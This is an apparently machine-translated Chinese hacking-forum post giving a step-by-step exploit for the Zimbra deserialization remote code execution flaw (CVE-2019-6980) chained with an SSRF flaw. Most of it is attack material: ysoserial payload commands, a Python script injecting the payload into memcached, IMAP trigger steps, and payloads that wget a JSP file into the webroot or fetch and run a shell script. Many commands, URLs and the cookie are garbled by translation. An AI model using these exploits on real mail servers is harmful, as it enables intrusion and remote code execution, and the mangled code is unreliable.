跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

津布拉反序列化漏洞(CVE-2019-6980)利用测试


Xiao7

推荐的帖子

0x00 前言

津布拉反序列化漏洞(CVE-2019-6980)适用于8.7.x至8.8.11的津布拉邮件服务器,是一个远程代码执行漏洞。

考虑到距补丁公开日期已经超过两年,并且没有一个完整的可用POC,所以本文将要在技术研究的角度记录测试过程,开源利用脚本,分享细节。

0x01 简介

本文将要介绍以下内容:

本地漏洞复现

实际利用分析

开源利用脚本

防御建议

0x02 本地漏洞复现

参考资料:

https://博客。色调0。com/2019/03/a-saga-of-code-executions-on-zimbra。超文本标记语言

https://blog.csdn.net/fnmsd/article/details/89235589?UTM _ medium=分销。PC _相关。无-任务-博客-blogcommendfromachinelenpai 2-1。控制分配请求标识=1328603.11954。1614928993579653深度_ 1-UTM _源=分布。PC _相关。无-任务-博客-blogcommendfromachinelenpai 2-1。控制

(1)搭建环境

挑选符合漏洞版本的津布拉邮件服务器,下载地址:

https://www。津布拉。com/downloads/zimbra-协作-开源/归档/

具体搭建过程可参考其他资料

(2)创建用户

创建一个测试用户测试1,命令如下:

/opt/zimbra/bin/zm test1@test.zimbra.com省密码123显示名称

结果返回测试用户测试一对应的津布雷德,格式为11111111-1111-1111-1111-111111111111

补充:其它常用命令

参考资料:https://维基。津布拉。com/wiki/zm prov

列出所有用户:

/opt/zimbra/bin/zmprov -l gaa

列出所有管理员用户:

/opt/zimbra/bin/zmprov gaaa

查看用户测试一对应的zimbraId:

/opt/zimbra/bin/zm prov ga test1 zimbride

(3)修改服务器配置

列出所有服务器:

/opt/zimbra/bin/zmprov gad

得到服务器名称test.zimbra.com

查看配置信息zimbraMemcachedClientServerList:

/opt/zimbra/bin/zm prov GS test.zimbra.com zimbraMemcachedClientServerList

默认返回结果为空

设置zimbraMemcachedClientServerList的值为127.0.0.1:

/opt/zimbra/bin/zm test.zimbra.com女士

(4)重启Zimbra

/opt/zimbra/bin/zmcontrol重新启动

注:

首次修改zimbraMemcachedClientServerList需要重启津布拉

如果非首次修改zimbraMemcachedClientServerList,在设置后执行ReloadMemcachedClientConfig命令即可:

/opt/zimbra/bin/zmprov rmcc all

(5)生成Payload

这里需要使用ysoserial

命令如下:

Java-jar yso系列。jar Mozilla rhino 2 '/bin/touch/tmp/test 12345 '测试。目标文件

(6)登录测试用户test1,获得Cookie

通过浏览器登录测试用户测试1,取出登录饼干,信息如下:

0 _ 8 ef 6794 c8 d0d 991 add 9 EBD 717 c 09 e 7 f 7 b 69 b8 d 76 _ 69641d 11161 a 19166611181165102d 161411172d 146218192d 626611662d 1516217621062651 b 6578701d 1111111111111 a 11

(7)发送Payload

这里需要使用Python2.7

注:

使用Python3需要考虑字节数组的类型转换

Python2.7的代码如下:

导入请求

从请求。包裹。URL库3。例外导入不安全请求警告

请求。包裹。URL库3。disable _ warnings(保险请求警告)

账户id=' 111111111-1111-1111-11111-1111111 '

文件夹编号=2

modseq=1

uidvalidity=1

cache key=' zmi映射:{帐户id }:{文件夹号}:{ modseq }:{ uid有效性} ' .格式(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))

打印(缓存键)

用open(r'test.obj ',' rb ')作为女:

有效负载=f.read()

set _ command=b ' set { cache key } 2048 3600 { payloadsize } \ r \ n ' .格式(cacheKey=cacheKey,payloadsize=str(len(payload)))有效负载\r\n '

标题={

' cookie ':' ZM _管理_验证_令牌=0 _ 8 ef 6794 c8 d0d 991添加9 EBD 717 c 09 e 7 f 7 b 69 b 8d 76 _ 69641d 11161 a 1916611181165102d 1462181172d 146218192d 62661166217621762162162106210621062652d

主机:' foo:7071 '

}

r=requests . post(' https://192 . 168 . 1 . 1/service/proxy?target=http://127.0.0.1:11211 ',data=set_command,headers=headers,verify=False)

打印简历

注:

上述代码由《Zimbra SSRF+Memcached+反序列化漏洞利用复现》修改而来。

参数描述:

Accountid:对应的zimbraId

文件夹号:2代表收件箱

Modseq:对于新用户,默认值为1。

Uidvalidity:对于新用户,默认值为1。

代码详细信息:

这里需要添加Cookie信息,登录后填写普通用户的token。名称设置为ZM管理认证令牌,请求的地址是https://192.168.1.1/service/proxy?Target=3358127.0.0.1: 11211。这是利用SSRF(CVE-2019-9621)漏洞最终将数据发送到端口11211。

通常情况下,Zimbra不会向公众开放11211端口,但如果这样做,您可以修改上述代码来直接访问11211端口,而无需借助SSRF(CVE-2019-9621)漏洞。

(8)触发反序列化,执行代码

Nc使用imap-ssl协议登录测试用户test1,访问收件箱,触发漏洞。

该命令如下所示:

ncat - ssl

a001登录test1@test.zimbra.com密码123

a001选择收件箱

0x03 实际利用分析

1.适用条件

它可以分为以下两种情况:

(1)Zimbra服务器版本为8.7.x至8.8.11

能够访问imap-ssl端口(默认为993)

SSRF(CVE-2019-9621)漏洞存在。

如果服务器没有设置ZimbramCacheClientServerList,需要通过SSRF(CVE-2019-9621)漏洞设置为127.0.0.1,等待Zimbre重启。

(2)Zimbra服务器版本为8.7.x至8.8.11

需要能够访问imap-ssl端口(默认为993)

不存在SSRF(CVE-2019-9621)漏洞。

需要用户凭据(明文密码)。

需要能够访问端口11211

ziramecacheclientserverlist的值需要设置为127.0.0.1。

第二种情况太苛刻了,而且通常是第一种情况,所以下面介绍如何利用SSRF(CVE-2019-9621)的漏洞

2.利用流程

可以通过使用以前的开源脚本zimbra _ soap _ API _ manage.py来利用SSRF(CVE-2019-9621)的漏洞

(1)创建用户

使用CreateAccountSSRF命令创建新用户。

(2)查看配置

使用GetMemcachedClientConfigSSRF命令获取ZimframeCachedclientserverlist。如果结果不是127.0.0.1,则需要重置。

(3)设置zimbraMemcachedClientServerList

使用命令GetServerSSRF获取ServerID并将其用作参数。

使用命令ModifyServerSSRF修改配置,名称为zimbraemcachedclientserverlist,值为127.0.0.1。

(4)重新加载

使用reload memcached clientconfigssrf命令使更改生效。

(5)生成Payload

在ysoserial中使用MozillaRhino2函数

MozillaRhino2在代码实现中通过exec()方法执行Linux命令。这里需要注意的是,exec()方法不能执行带有特殊字符的命令,比如|

也就是说,文件写操作不能通过特殊字符来实现。

它可以通过wget命令来实现。

示例1:直接下载jsp文件

Java-jar yso serial . jar mozillarhino 2 '/usr/bin/wget https://192 . 168 . 1 . 1/test . JSP-no-check-certificate-O/opt/zimbra/jetty/web apps/zimbra/public/test . JSP ' payload . obj

示例2:下载sh脚本并执行它。

test.sh的内容如下:

#!/bin/sh

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/git/bin:/usr/local/sbin:~/bin

回声$ PWD/tmp/测试

生成有效负载的命令:

Java-jar yso serial . jar Mozilla rhino 2 '/usr/bin/wget https://192 . 168 . 1 . 1/test . sh-no-check-certificate-O/tmp/test . sh ' payload . obj

Java-jar yso serial . jar Mozilla rhino 2 '/bin/sh/tmp/test . sh ' payload . obj

(6)执行脚本Zimbra_deserialization_RCE(CVE-2019-6980).py

Zira _反序列化_ RCE (CVE-2019-6980)。py自动执行以下操作:

登录并获取Cookie。

通过GetAccountInfoRequest获取用户对应的zimbraId。

通过SSRF(CVE-2019-9621)漏洞将有效负载发送到端口11211

使用imap-ssl协议登录用户,访问收件箱,触发反序列化漏洞,执行代码。

代码已经上传到github,地址如下:

https://github . com/3g student/Homework-of-Python/blob/master/Zimbra _反序列化_RCE(CVE-2019-6980)。巴拉圭

这里需要注意的是,Python在用imaplib实现imap-ssl协议时,可以得到uidvalidity的值,但不能得到modseq的值。

0x04 防御建议

升级,安装补丁

禁止外部访问端口11211。

禁止外部访问端口7071。

0x05 小结

本文介绍了Zimbra反序列化漏洞(CVE-2019-6980)的测试过程。开源使用脚本Zimbra _反序列化_ rce (CVE-2019-6980)。py分享一下细节。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...